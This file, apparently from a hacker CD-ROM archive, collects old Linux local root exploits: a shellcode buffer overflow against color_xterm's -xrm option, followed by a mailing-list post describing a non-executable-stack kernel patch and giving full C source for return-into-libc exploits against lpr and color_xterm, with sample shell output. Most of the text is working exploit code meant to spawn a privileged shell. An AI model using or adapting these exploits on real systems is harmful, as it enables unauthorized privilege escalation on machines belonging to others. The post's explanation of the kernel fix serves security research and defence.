home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / color_xterm.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  16KB  |  487 lines
  1. /* exploit for color_xterm, modified by zgv */
  2. /* original exploit coded by Ming Zhang for the Chinese Version Of xTerm */
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <unistd.h>
  7. #include <fcntl.h>
  8.  
  9. #define BUFFER_SIZE 1024
  10. #define DEFAULT_OFFSET 50
  11. #define PATH_COLOR_XTERM "/usr/X11/bin/color_xterm" /* Default Path If Make Install Was Used */
  12. #define NOP_SIZE 1
  13.  
  14. char nop[] = "\x90";
  15.  
  16. /* Shell Code For That Ass */
  17. char shellcode[] =
  18.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  19.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  20.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  21.  
  22. unsigned long get_sp(void) {
  23.    __asm__("movl %esp,%eax");
  24. }
  25.  
  26. /* Lets d0 d1s */
  27. void main(int argc,char **argv)
  28. {
  29.    char *buff = NULL;
  30.    unsigned long *addr_ptr = NULL;
  31.    char *ptr = NULL;
  32.    int i,OffSet = DEFAULT_OFFSET;
  33.  
  34.    if (argc>1) OffSet = atoi(argv[1]);
  35.  
  36.    buff = malloc(2048);
  37.    if(!buff)
  38.    {
  39.       printf("err0r err0r err0r err0r you g0t gn0 sk1lls er memory\n");
  40.       exit(0);
  41.    }
  42.    ptr = buff;
  43.  
  44.    for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) {
  45.         memcpy (ptr,nop,NOP_SIZE);
  46.         ptr+=NOP_SIZE;
  47.    }
  48.  
  49.    for(i=0;i < strlen(shellcode);i++)
  50.       *(ptr++) = shellcode[i];
  51.  
  52.    addr_ptr = (long *)ptr;
  53.    for(i=0;i < (8/4);i++)
  54.       *(addr_ptr++) = get_sp() + OffSet;
  55.    ptr = (char *)addr_ptr;
  56.    *ptr = 0;
  57.    (void) fprintf(stderr,"bewm bash#\n");
  58.  
  59.     execl(PATH_COLOR_XTERM, "color_xterm_owns_me", "-xrm",buff, NULL);
  60. }
  61.  
  62.  
  63.  
  64.  
  65. ------------------------------------------------------------------------------
  66.  
  67.  
  68.  
  69. I finally decided to post a return-into-libc overflow exploit. This method
  70. has been discussed on linux-kernel list a few months ago (special thanks to
  71. Pavel Machek), but there was still no exploit. I'll start by speaking about
  72. the fix, you can find the exploits (local only) below.
  73.  
  74. [ I recommend that you read the entire message even if you aren't running
  75. Linux since a lot of the things described here are applicable to other
  76. systems as well (perhaps someone will finally exploit those overflows in
  77. Digital UNIX discussed here last year?). Also, this method might sometimes
  78. be better than usual one (with shellcode) even if the stack is executable. ]
  79.  
  80. You can find the fixed version of my non-executable stack Linux kernel patch
  81. at http://www.false.com/security/linux-stack/.
  82.  
  83. The problem is fixed by changing the address shared libraries are mmap()ed
  84. at in such a way so it always contains a zero byte. With most vulnerabilities
  85. the overflow is done with an ASCIIZ string, so this prevents the attacker
  86. from passing parameters to the function, and from filling the buffer with
  87. a pattern (requires to know the exact offset of the return address). I admit
  88. someone might still find a libc function with no parameters (this also has
  89. to be a single function, you can't call several of them in a row) that does
  90. enough harm, and find the exact offset of the return address. However, this
  91. gets quite complicated, especially for remote exploits, and especially for
  92. those where you have to guess from the first try (and you also need to guess
  93. the address in libc). So, like before, fix known vulnerabilities, and use
  94. the patch to add an extra layer of security against those yet unknown.
  95.  
  96. I also fixed a bug with the binary header flag which allowed local users to
  97. bypass the patch. Thanks to retch for reporting.
  98.  
  99. And one more good thing: I added a symlink-in-/tmp fix, originally by Andrew
  100. Tridgell. I changed it to prevent from using hard links too, by simply not
  101. allowing non-root users to create hard links to files they don't own, in +t
  102. directories. This seems to be the desired behavior anyway, since otherwise
  103. users couldn't remove such links they just created. I also added exploit
  104. attempt logging, this code is shared with the non-executable stack stuff,
  105. and was the reason to make it a single patch instead of two separate ones.
  106. You can enable them separately anyway.
  107.  
  108. And now here goes the exploit for the well-known old overflow in lpr. This
  109. one is simple, so it looks like a good starting point. Note: it doesn't
  110. contain any assembly code, there's only a NOP opcode, but this one will
  111. most likely not be used, it's for the case when system() is occasionally
  112. at a 256 byte boundary. The exploit also doesn't have any fixed addresses.
  113. Be sure to read comments in the exploit before you look at the next one.
  114.  
  115. >-- lpr.c --<
  116.  
  117. /*
  118.  * /usr/bin/lpr buffer overflow exploit for Linux with non-executable stack
  119.  * Copyright (c) 1997 by Solar Designer
  120.  */
  121. #include <stdio.h>
  122. #include <unistd.h>
  123. #include <string.h>
  124. #include <stdlib.h>
  125. #include <signal.h>
  126. #include <setjmp.h>
  127. #include <sys/ptrace.h>
  128. #include <sys/types.h>
  129. #include <sys/wait.h>
  130.  
  131. #define SIZE            1200    /* Amount of data to overflow with */
  132. #define ALIGNMENT       11      /* 0, 8, 1..3, 9..11 */
  133.  
  134. #define ADDR_MASK       0xFF000000
  135.  
  136. char buf[SIZE];
  137. int *ptr;
  138.  
  139. int pid, pc, shell, step;
  140. int started = 0;
  141. jmp_buf env;
  142.  
  143. void handler() {
  144.   started++;
  145. }
  146.  
  147. /* SIGSEGV handler, to search in libc */
  148. void fault() {
  149.   if (step < 0) {
  150. /* Change the search direction */
  151.     longjmp(env, 1);
  152.   } else {
  153. /* The search failed in both directions */
  154.     puts("\"/bin/sh\" not found, bad luck");
  155.     exit(1);
  156.   }
  157. }
  158.  
  159. void error(char *fn) {
  160.   perror(fn);
  161.   if (pid > 0) kill(pid, SIGKILL);
  162.   exit(1);
  163. }
  164.  
  165. void main() {
  166.   signal(SIGUSR1, handler);
  167.  
  168. /* Create a child process to trace */
  169.   if ((pid = fork()) < 0) error("fork");
  170.  
  171.   if (!pid) {
  172. /* Send the parent a signal, so it starts tracing */
  173.     kill(getppid(), SIGUSR1);
  174. /* A loop since the parent may not start tracing immediately */
  175.     while (1) system("");
  176.   }
  177.  
  178. /* Wait until the child tells us the next library call will be system() */
  179.   while (!started);
  180.  
  181.   if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
  182.  
  183. /* Single step the child until it gets out of system() */
  184.   do {
  185.     waitpid(pid, NULL, WUNTRACED);
  186.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  187.     if (pc == -1) error("PTRACE_PEEKUSR");
  188.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  189.   } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
  190.  
  191. /* Single step the child until it calls system() again */
  192.   do {
  193.     waitpid(pid, NULL, WUNTRACED);
  194.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  195.     if (pc == -1) error("PTRACE_PEEKUSR");
  196.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  197.   } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
  198.  
  199. /* Kill the child, we don't need it any more */
  200.   if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
  201.   pid = 0;
  202.  
  203.   printf("system() found at: %08x\n", pc);
  204.  
  205. /* Let's hope there's an extra NOP if system() is 256 byte aligned */
  206.   if (!(pc & 0xFF))
  207.   if (*(unsigned char *)--pc != 0x90) pc = 0;
  208.  
  209. /* There's no easy workaround for these (except for using another function) */
  210.   if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
  211.     puts("Zero bytes in address, bad luck");
  212.     exit(1);
  213.   }
  214.  
  215. /*
  216.  * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
  217.  * in its address. To avoid specifying the actual address that libc is
  218.  * mmap()ed to we search from the address of system() in both directions
  219.  * until a SIGSEGV is generated.
  220.  */
  221.   if (setjmp(env)) step = 1; else step = -1;
  222.   shell = pc;
  223.   signal(SIGSEGV, fault);
  224.   do
  225.     while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
  226.   while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
  227.   signal(SIGSEGV, SIG_DFL);
  228.  
  229.   printf("\"/bin/sh\" found at: %08x\n", shell);
  230.  
  231. /*
  232.  * When returning into system() the stack should look like:
  233.  *                              pointer to "/bin/sh"
  234.  *                              return address placeholder
  235.  * stack pointer ->             pointer to system()
  236.  *
  237.  * The buffer could be filled with this 12 byte pattern, but then we would
  238.  * need to try up to 12 values for the alignment. That's why a 16 byte pattern
  239.  * is used instead:
  240.  *                              pointer to "/bin/sh"
  241.  *                              pointer to "/bin/sh"
  242.  * stack pointer (case 1) ->    pointer to system()
  243.  * stack pointer (case 2) ->    pointer to system()
  244.  *
  245.  * Any of the two stack pointer values will do, and only up to 8 values for
  246.  * the alignment need to be tried.
  247.  */
  248.   memset(buf, 'x', ALIGNMENT);
  249.   ptr = (int *)(buf + ALIGNMENT);
  250.   while ((char *)ptr < buf + SIZE - 4*sizeof(int)) {
  251.     *ptr++ = pc; *ptr++ = pc;
  252.     *ptr++ = shell; *ptr++ = shell;
  253.   }
  254.   buf[SIZE - 1] = 0;
  255.  
  256.   execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
  257.   error("execl");
  258. }
  259.  
  260. >-- lpr.c --<
  261.  
  262. The exploit above will crash after you exit the shell. This can be fixed by
  263. using a 12 byte pattern (like described in the comment), and setting the
  264. return address to point to exit() (we would need to find it first). This
  265. would however increase the number of possible alignment values to try from
  266. 8 to 12, so I don't do it.
  267.  
  268. Now, a more complicated exploit, for the -xrm libX11 overflow. It has been
  269. tested with color_xterm from Slackware 3.1. Will also work on other xterms
  270. (tested with xterm and nxterm from RedHat 4.2), but providing a user shell
  271. (not root), since these temporarily give up their privileges, and an extra
  272. setuid() call would be required.
  273.  
  274. Actually, using this method it is possible to call two functions in a row
  275. if the first one has exactly one parameter. The stack should look like this:
  276.  
  277.                                 pointer to "/bin/sh"
  278.                                 pointer to the UID (usually to 0)
  279.                                 pointer to system()
  280.  stack pointer ->               pointer to setuid()
  281.  
  282. This will require up to 16 values for the alignment. In this case, setuid()
  283. will return into system(), and while system() is running the pointer to UID
  284. will be at the place where system()'s return address should normally be, so
  285. (again) the thing will crash after you exit the shell (but no solution this
  286. time; who cares anyway?). I leave this setuid() stuff as an exercise for the
  287. reader.
  288.  
  289. Another thing specific to this exploit is that GetDatabase() in libX11 uses
  290. its parameter right before returning, so if we overwrite the return address
  291. and a few bytes after it (like normal pattern filling would do), the exploit
  292. wouldn't work. That was the reason the -xrm exploits posted were not stable,
  293. and required to adjust the size exactly. With returning into libc, this was
  294. not possible at all, since parameters to libc function should be right after
  295. the return address. That's why I do a trick similar to my SuperProbe exploit:
  296. overwrite a pointer to a structure that has a function pointer in it (their
  297. function also has exactly one parameter, I was extremely lucky here again).
  298.  
  299. This trick requires three separate buffers filled with different patterns.
  300. The first buffer is what I overflow with, while the two others are put onto
  301. the stack separately (to make them larger). Again, there's no correct return
  302. address from system(), and a pointer to some place on the stack is there.
  303. This makes it behave quite funny when you exit the shell: an exploit attempt
  304. is logged (when running my patch), since system() returns onto the stack. ;^)
  305. You can just kill the vulnerable program you're running from instead of
  306. exiting the shell if this is undesired.
  307.  
  308. Note that you have to link the exploit with the same shared libraries that
  309. the vulnerable program. Also, it might be required to add 4 to ALIGNMENT2 if
  310. the exploit doesn't work, even if it worked when running as another user...
  311.  
  312. >-- cx.c --<
  313.  
  314. /*
  315.  * color_xterm buffer overflow exploit for Linux with non-executable stack
  316.  * Copyright (c) 1997 by Solar Designer
  317.  *
  318.  * Compile:
  319.  * gcc cx.c -o cx -L/usr/X11/lib \
  320.  * `ldd /usr/X11/bin/color_xterm | sed -e s/^.lib/-l/ -e s/\\\.so.\\\+//`
  321.  *
  322.  * Run:
  323.  * $ ./cx
  324.  * system() found at: 401553b0
  325.  * "/bin/sh" found at: 401bfa3d
  326.  * bash# exit
  327.  * Segmentation fault
  328.  */
  329. #include <stdio.h>
  330. #include <unistd.h>
  331. #include <string.h>
  332. #include <stdlib.h>
  333. #include <signal.h>
  334. #include <setjmp.h>
  335. #include <sys/ptrace.h>
  336. #include <sys/types.h>
  337. #include <sys/wait.h>
  338.  
  339. #define SIZE1           1200    /* Amount of data to overflow with */
  340. #define ALIGNMENT1      0       /* 0..3 */
  341. #define OFFSET          22000   /* Structure array offset */
  342. #define SIZE2           16000   /* Structure array size */
  343. #define ALIGNMENT2      5       /* 0, 4, 1..3, 5..7 */
  344. #define SIZE3           SIZE2
  345. #define ALIGNMENT3      (ALIGNMENT2 & 3)
  346.  
  347. #define ADDR_MASK       0xFF000000
  348.  
  349. char buf1[SIZE1], buf2[SIZE2 + SIZE3], *buf3 = &buf2[SIZE2];
  350. int *ptr;
  351.  
  352. int pid, pc, shell, step;
  353. int started = 0;
  354. jmp_buf env;
  355.  
  356. void handler() {
  357.   started++;
  358. }
  359.  
  360. /* SIGSEGV handler, to search in libc */
  361. void fault() {
  362.   if (step < 0) {
  363. /* Change the search direction */
  364.     longjmp(env, 1);
  365.   } else {
  366. /* The search failed in both directions */
  367.     puts("\"/bin/sh\" not found, bad luck");
  368.     exit(1);
  369.   }
  370. }
  371.  
  372. void error(char *fn) {
  373.   perror(fn);
  374.   if (pid > 0) kill(pid, SIGKILL);
  375.   exit(1);
  376. }
  377.  
  378. int nz(int value) {
  379.   if (!(value & 0xFF)) value |= 8;
  380.   if (!(value & 0xFF00)) value |= 0x100;
  381.  
  382.   return value;
  383. }
  384.  
  385. void main() {
  386. /*
  387.  * A portable way to get the stack pointer value; why do other exploits use
  388.  * an assembly instruction here?!
  389.  */
  390.   int sp = (int)&sp;
  391.  
  392.   signal(SIGUSR1, handler);
  393.  
  394. /* Create a child process to trace */
  395.   if ((pid = fork()) < 0) error("fork");
  396.  
  397.   if (!pid) {
  398. /* Send the parent a signal, so it starts tracing */
  399.     kill(getppid(), SIGUSR1);
  400. /* A loop since the parent may not start tracing immediately */
  401.     while (1) system("");
  402.   }
  403.  
  404. /* Wait until the child tells us the next library call will be system() */
  405.   while (!started);
  406.  
  407.   if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
  408.  
  409. /* Single step the child until it gets out of system() */
  410.   do {
  411.     waitpid(pid, NULL, WUNTRACED);
  412.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  413.     if (pc == -1) error("PTRACE_PEEKUSR");
  414.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  415.   } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
  416.  
  417. /* Single step the child until it calls system() again */
  418.   do {
  419.     waitpid(pid, NULL, WUNTRACED);
  420.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  421.     if (pc == -1) error("PTRACE_PEEKUSR");
  422.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  423.   } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
  424.  
  425. /* Kill the child, we don't need it any more */
  426.   if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
  427.   pid = 0;
  428.  
  429.   printf("system() found at: %08x\n", pc);
  430.  
  431. /* Let's hope there's an extra NOP if system() is 256 byte aligned */
  432.   if (!(pc & 0xFF))
  433.   if (*(unsigned char *)--pc != 0x90) pc = 0;
  434.  
  435. /* There's no easy workaround for these (except for using another function) */
  436.   if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
  437.     puts("Zero bytes in address, bad luck");
  438.     exit(1);
  439.   }
  440.  
  441. /*
  442.  * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
  443.  * in its address. To avoid specifying the actual address that libc is
  444.  * mmap()ed to we search from the address of system() in both directions
  445.  * until a SIGSEGV is generated.
  446.  */
  447.   if (setjmp(env)) step = 1; else step = -1;
  448.   shell = pc;
  449.   signal(SIGSEGV, fault);
  450.   do
  451.     while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
  452.   while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
  453.   signal(SIGSEGV, SIG_DFL);
  454.  
  455.   printf("\"/bin/sh\" found at: %08x\n", shell);
  456.  
  457. /* buf1 (which we overflow with) is filled with pointers to buf2 */
  458.   memset(buf1, 'x', ALIGNMENT1);
  459.   ptr = (int *)(buf1 + ALIGNMENT1);
  460.   while ((char *)ptr < buf1 + SIZE1 - sizeof(int))
  461.     *ptr++ = nz(sp - OFFSET);           /* db */
  462.   buf1[SIZE1 - 1] = 0;
  463.  
  464. /* buf2 is filled with pointers to "/bin/sh" and to buf3 */
  465.   memset(buf2, 'x', SIZE2 + SIZE3);
  466.   ptr = (int *)(buf2 + ALIGNMENT2);
  467.   while ((char *)ptr < buf2 + SIZE2) {
  468.     *ptr++ = shell;                     /* db->mbstate */
  469.     *ptr++ = nz(sp - OFFSET + SIZE2);   /* db->methods */
  470.   }
  471.  
  472. /* buf3 is filled with pointers to system() */
  473.   ptr = (int *)(buf3 + ALIGNMENT3);
  474.   while ((char *)ptr < buf3 + SIZE3 - sizeof(int))
  475.     *ptr++ = pc;                        /* db->methods->mbfinish */
  476.   buf3[SIZE3 - 1] = 0;
  477.  
  478. /* Put buf2 and buf3 on the stack */
  479.   setenv("BUFFER", buf2, 1);
  480.  
  481. /* GetDatabase() in libX11 will do (*db->methods->mbfinish)(db->mbstate) */
  482.   execl("/usr/X11/bin/color_xterm", "color_xterm", "-xrm", buf1, NULL);
  483.   error("execl");
  484. }
  485.  
  486. >-- cx.c --<
  487.